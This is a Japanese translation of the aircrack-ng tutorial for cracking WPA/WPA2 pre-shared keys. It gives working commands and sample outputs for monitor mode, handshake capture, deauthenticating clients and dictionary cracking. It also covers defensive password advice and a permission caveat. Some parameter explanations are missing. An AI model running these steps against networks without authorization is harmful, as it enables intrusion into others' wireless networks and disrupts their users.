Version: 1.20 March 07, 2010
By: darkAudax
Translated by: nao on January 08, 2011
このチュートリアルは事前共有鍵を用いるWPA/WPA2ネットワークをクラッキングするためのものです。WPA/WPA2とは何かということをご存じの上で行われることを推奨します。リンク集 Wiki にはは WPA/WPA2 セクション があります。WPAについての詳細はこちらWi-Fi Security - WEP, WPA and WPA2をご覧ください。こちらはPDFダウンロードへのリンクです。 またこちらWPA Packet Capture Explained tutorialも併せてご覧ください。
WPA/WPA2には事前共有鍵以外にも様々なタイプの認証方式が備わっています。aircrack-ngは事前共有鍵にたいしてのみ有効です。従って、airodump-ngではauthentication typeがPSKとなっているネットワークが表示されていることを確認してください。そうしないと、そもそもクラックできないネットワークに挑戦し、クラックできないことに悩むことになってしまいます。
WPA/WPA2とWEPではクラッキングに関して重要な違いがあります。これは以前のWPA/WPA2事前共有鍵のクラッキングへのアプローチです。WEPとは異なり、クラッキングプロセスの速度向上のために統計的な手法が用いられるものの、WPA/AP2に対しては単純な辞書攻撃が用いられています。鍵が固定でないため、WEP暗号をクラックする時のようにIV(初期化ベクタ)を大量に収集しても一向に速度が向上しません。クライアントとアクセスポイント間のハンドシェイクのみが攻撃のきっかけとなる情報を与えてくれます。事実ではない点も含まれますが、このチュートリアルの目的から考えれば、事実と考えていただいて差し支えありません。事前共有鍵は8から63文字長で構成されているため、現実的にはクラックが不可能です。
事前共有鍵をクラックできるケースとしては、鍵が辞書に含まれている言葉を用いている場合と比較的短い鍵を用いている場合です。逆に言えば、自宅の無線ネットワークをクラックされないためには、WPA/WPA2を用い、特殊な文字を含むランダムな63文字のパスワードを設定することです。
辞書攻撃を用いる影響は計りしれません。それは非常にコンピュータ集約的であり、CPUに依存するため、1秒間に試せるのはせいぜい50から300キーほどだからです。
# 訳者注
# 原文では1秒間に50から300と記載されていますが、最近ではそんなに遅くは無いかと思います。
大きな辞書でごりごりクラッキングするには何日とはかからなくても、数時間はかかります。自分のパスワードを作成する際、まずここ brute force time calculator をチェックすることをおすすめします。辞書攻撃に必要な時間の少なさに驚くかと思います。
重要つまりWPA/WPA2を破るには辞書に含まれている文字列が使われてなければなりません。辞書に含まれていなければ、aircrack-ngは鍵を特定することができません。
クラッキングするにあたり、WPAかWPA2であるかは大きな違いではありません。認証方式は基本的に同じです。従って、方法は全く同じです。
ここでの考え方やテクニックになれるためにはご自宅のアクセスポイントで実験してみることをおすすめします。ご自身で管理されているアクセスポイントをお持ちでない場合は、所有者に許可を取ってから行うようにしてください。
前向きであるかないかに関わらず、建設的なフィードバックをお待ちしています。トラブルシューティングのアイデアやテクニックも大いに歓迎です。
まず、以下の条件を前提とします: * Injectionパッチの当たったドライバを用いる。injection testで確認できます。 * アクセスポイントに対してパケットを送受するのに物理的に十分近い場所にいること。アクセスポイントからパケットを受け取れるからといって、パケットを遅れるとは限りません。一般的な無線LANカードはアクセスポイントほど強い電波を発しません。そのため、あなたのクライアントからアクセスポイントや他のワイヤレスクライアントに対してパケットを送ったり受け取るためには物理的に十分近づく必要があります。この方法で特定のアクセスポイントと通信できているかどうかを確認できます。 * aircrack-ngのv0.9.1以上を使う。他のバージョンではコマンドオプションが違うかもしれません。
上記の条件を満たしていても、下記の通り動かない場合があります。以下の例中で用いられている“ath0”をあなたが利用している無線LANカードのインターフェース名に変更する必要があります。
このチュートリアルでは以下の値を用いています:
あなたが試そうとしているネットワークについても上記と同等の情報を集めなくてはなりません。その上で、以下の例中の値を読み替えてください。
目標はWPA/WPA2ハンドシェイクを取得し、次に、aircrack-ngを用いて事前共有鍵をクラックすることです。
アクティブ方式とパッシブ方式、どちらの方式でも可能です。アクティブとは既に繋がっている無線LANクライアントの認証を一旦無効化することによりハンドシェイクの取得を早めることを意味しています。パッシブとは無線LANクライアントが新たにWPA/WPA2ネットワークに参加し認証されるのをただ待つことを意味しています。パッシブ方式の利点はInjectionができなくともよく、Windows版のaircrack-ngでも可能ということです。
基本的なステップ:
このステップの目標はあなたの無線LANカードをいわゆるモニターモードで起動することです。モニターモードは周辺環境の全ての無線LANパケットを拾うモードです。通常、無線LANカードはそのカードと無線通信を行っているパケットのみ拾うことができます。全てのパケットを拾うことで、WPA/WPA2の4Wayハンドシェイクも拾うことが可能となります。同様に、後のステップで述べるとおり、認証済み無線LANクライアントの認証を一旦無効化することも可能となります。
モニターモードを有効にするための厳密な手順はあなたの使っている無線LANカードのドライバによって変わります。ドライバを特定するために次のコマンドを実行してください。
airmon-ng
Ralink, Atheros, Broadcomチップを搭載した無線LANカードでは、次のようにレスポンスがあります。
Interface Chipset Driver rausb0 Ralink RT73 rt73 wlan0 Broadcom b43 - [phy0] wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0)
ドライバ名の後の[phy0]タグの表示は、mac80211向けの表示です。つまり、ここでBroadcomカードはmac80211ドライバを利用しています。 注意 mac80211ドライバはaircrack-ng v1.0-rc1以降でサポートされています。v0.9.1.では動きません。 Aterosカードは両方ともドライバとして“madwifi-ng”を表示しています。Atherosカードはmadwifi-ng-specificステップに従って設定します。 最後に、Ralinkのドライバ欄にはどちらも表示されていません。従って、ieee80211ドライバを用いています。こちらの設定には一般的な設定手順をご覧ください。
まず、ath0を止めます。
airmon-ng stop ath0
システムからのレスポンス
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
“iwconfig”と入力し、他にathXインターフェースが無いことを確認します。無い場合はこんな風に表示されます。
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions.
athXインターフェースがある場合は、それを止めます。それから“iwconfig”を実行し他にインタフェースが残っていないことを確認します。
さて、次のコマンドを入力し、チャンネル9でモニターモードで無線LANカードを起動します。
airmon-ng start wifi0 9
注意:ここでは“ath0”の代わりに“wifi0”を用いました。これはmadwifi-ngドライバが使用中のためです。
システムからのレスポンスは
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
上記のように“ath0”がモニターモードとしてレポートされていることに気づきます。
インターフェースが正しく設定されていることを確認するために、“iwconfig”と入力します。
システムからのレスポンスは
lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
上記のレスポンスでは、ath0はチャンネル9、2.452GHz、モニターモードで起動されていることがわかります。またアクセスポイントはあなたの無線カードのMacアドレスを表示しています。madwifi-ngドライバのみAP欄にカードのMACアドレスが表示されます。他のドライバでは表示されません。次に進み適切に動かすためには、ここに表示されている全ての情報について確認することが重要です。
周波数をチャンネルに合わせるためには、こちらをチェック: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . 各チャンネルごとの周波数がわかります。
madwifi-ngとはことなり、mac80211ドライバの設定にはwlan0インターフェースの削除は必要ありません。その代わり、チャンネル9でモニターモードを起動するためには次のコマンドが必要となります。
airmon-ng start wlan0 9
システムからのレスポンスは
Interface Chipset Driver wlan0 Broadcom b43 - [phy0] (monitor mode enabled on mon0)
airmon-ngはmon0でモニターモードが起動していることに注意してください。そのため、このあとのチュートリアルではインターフェース名をmon0としてください。Wlan0はまだ通常(マネージド)モードで普通に使われ、攻撃しようとしているアクセスポイントと同じチャンネルで接続されています。そして、チャンネルホッピングは使われていない状態です。
設定を確かめるためには、“iwconfig”を実行してください。次のようなレスポンスがあります。
lo no wireless extensions.
eth0 no wireless extensions. wmaster0 no wireless extensions. wlan0 IEEE 802.11bg ESSID:"" Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
ここで、mon0はチャンネル9(2.452GHz)でモニターモードとして表示されています。madwifi-ngとは異なり、モニターインターフェースにはアクセスポイント欄がありません。また、wlan0は依然として表示され、マネージドモードですがこれが通常の状態です。両方のインターフェースは共通の無線を共有するため、常に同じチャンネルとして合わされることになります。一方のチャンネルを変更すれば他方のチャンネルも変わることになります。
他(ieee80211ベース)のドライバでは、モニターモードを有効にするには、次のコマンドを実行するだけです。(rausb0をあなたの環境のインターフェース名に変更してください。)
airmon-ng start rausb0 9
システムのレスポンスは
Interface Chipset Driver rausb0 Ralink rt73 (monitor mode enabled)
この時点でインターフェースは使用する準備ができています。
このステップの目標はairodump-ngを実行し、ターゲットとなるアクセスポイントの4wayハンドシェイクを取得することです。
入力
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
ここで、
-bssid 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです。これにより余分なトラフィックを防げます。
重要:“--ivs”オプションは用いないでください。全てのパケットを取得しなければなりません。
ここで無線LANクラインアントがアクセスポイントに接続されている場合、このように表示されます
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
上記で、右上にある“WPA handshake: 00:14:6C:7E:40:80”に注意してください。これはairodump-ngが4Wayハンドシェイクを正しく取得できたことを表しています。
これは無線LANクライアントと接続出来ていない状態です。
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes
このステップはオプションです。我慢強ければ、アクセスポイントへクライアントが接続しに来るまで待ち、airodump-ngでハンドシェイクを収集すればよいことです。この手順を自ら高速化する際にこのステップを実施すればよいでしょう。ここでの制約は、無線LANクライアントがアクセスポイントと接続済みでなければならないということです。もし一台もアクセスポイントと接続していなければ、ハンドシェイクを取得するためにクライアントがアクセスポイントに接続するまで我慢強く待たなければなりません。言うまでもありませんが、ハンドシェイクの取得に失敗すれば、またこのステップを実行することになります。
このステップでは無線LANクライアントに対して、既にアクセスポイントとの接続が切れていることを装うパケットを送ります。無線LANクライアントはアクセスポイントとの再認証を行い始めます。再認証が今必要としている4Wayハンドシェイクを発生させるきっかけとなります。これこそがWPA/WPA2の事前共有鍵を破るために必要なものです。
前のステップのairodump-ngの結果に基づき、どのクライアントが現在接続されているかを判断します。このあとでMACアドレスが必要となります。別のコンソールを開き、次のように入力します。
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
ここで
アウトプット例
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
幸運なことに、このケースではクライアントの再認証を引き起こし、4Wayハンドシェイクが得られました。
このステップの目標は実際にWPA/WPA2事前共有鍵をクラックすることです。クラックするためには辞書攻撃の入力に用いる辞書が必要となります。基本的には、aircrack-ngは1ワードづつそれが事前共有鍵かどうかを試すだけです。
aircrack-ngには小さな辞書“password.lst”が付属しています。このファイルはaircrack-ngのソースコードの“test”ディレクトリにあります。Wiki FAQには広範囲な辞書ソースが掲載されています。John the Ripper (JTR)を使えば、ご自身の辞書リストを作成できます。aircrack-ngへパイプします。JTRとaircrack-ngの連携はこのチュートリアルを超えるため割愛します。
別のコンソールを開き、次のように入力します
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
ここで
これはハンドシェイクが見つからなかった場合の典型的なレスポンスです。
Opening psk-01.cap Opening psk-02.cap Opening psk-03.cap Opening psk-04.cap Read 1827 packets. No valid WPA handshakes found.
こうなった場合は、ステップ3(無線LANクライアントの認証取り消し)を再度実行するか、パッシブ方式ならじっと待つことです。パッシブ方式の場合は、クライアントがアクセスポイントに認証を求めるまで待たなければなりません。
ハンドシェイクが見つかった場合の典型的なレスポンスです
Opening psk-01.cap Opening psk-02.cap Opening psk-03.cap Opening psk-04.cap Read 1827 packets. # BSSID ESSID Encryption 1 00:14:6C:7E:40:80 teddy WPA (1 handshake) Choosing first network as target.
ここで、aircrack-ngは事前共有鍵のクラックを試みることを始めます。CPUスピードと辞書サイズの大きさに依存し、クラックには長い時間がかかります。
事前共有鍵をクラックできた場合のレスポンスです
Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
4Wayハンドシェイクを取得するにはテクニックが必要なことがあります。ここではいくつかのトラブルシューティングテクニックを提供します。
残念ながら、4Wayハンドシェイクを適切に取得するためには少し実験じみたことが必要となることがあります。ポイントは、初回でダメなら、少し我慢していろいろと試してみることです。そうすればできるでしょう!
もう一つのアプローチはWiresharkを使って、取得したパケットを分析することです。これが問題を解く手がかりとなることがあります。WPA Packet Capture Explained tutorialはこのチュートリアルと一緒に読むことで、通常のWPA接続のしくみを理解する手引きになります。またFAQにはWiresharkの詳細な使い方が掲載されています。
理想的な話をすれば、ちゃんとパケットを取得できる無線LANデバイスを使うべきです。いくつかのドライバ、例えば、RTL8187Lなどはカード自身が送信したパケットを取得できません。またwikiに掲載されているバージョンのドライバを利用してください。RT73などの古いバージョンのドライバではクライアントパケットが取得できないことがあるためです。
Wiresharkを利用する際は、”eapol”フィルターを使うことでEAPOLパケットだけを手早く表示できます。どのEAPOLパケットが実際に取得できたかにより、修正計画を決めます。例えば、クライアントパケットを損失している場合は、理由を特定し、どうやってクライアントパケットを取得するかを考えます。
パケット分析をしっかり行えるようになるためには、airodump-ngをBSSIDフィルターなしで起動し、IVだけでなく全パケットを取得することです。BSSIDフィルターを用いない理由は、ACKパケットを含め全てのパケットを確認するためです。BSSIDフィルターを用いると、パケット取得時に特定のパケットが欠損してしまいます。
クライアントまたはアクセスポイントから送られる全てのパケットは承認されていなければなりません。これは元のパケットを送ったデバイスを宛先とするMACアドレスを持った承認パケットによってなされます。クライアントの認証取り消しを行えば、ACKパケットを受け取れることでこの事実を確認できます。このことはクライアントが認証取り消しパケットを受け取ったかどうかを確認できます。ACKパケットを受け取るのに失敗したということは、クライアントは送信範囲から外れていると言うことを意味します。従って、失敗したと言うわけです。
パケット分析をするに当たって、詳細な手引きをすることは不可能です。いくつかのテクニックと見るべき項目について触れました。WPA/WPA2についての技術を磨くことと、Wiresharkを使いこなすための努力こそが必要なことです。
上記の「ハンドシェイクが取得できない!」にまつわるトラブルシューティングをご覧ください。
上記の「ハンドシェイクが取得できない!」にまつわるトラブルシューティングをご覧ください。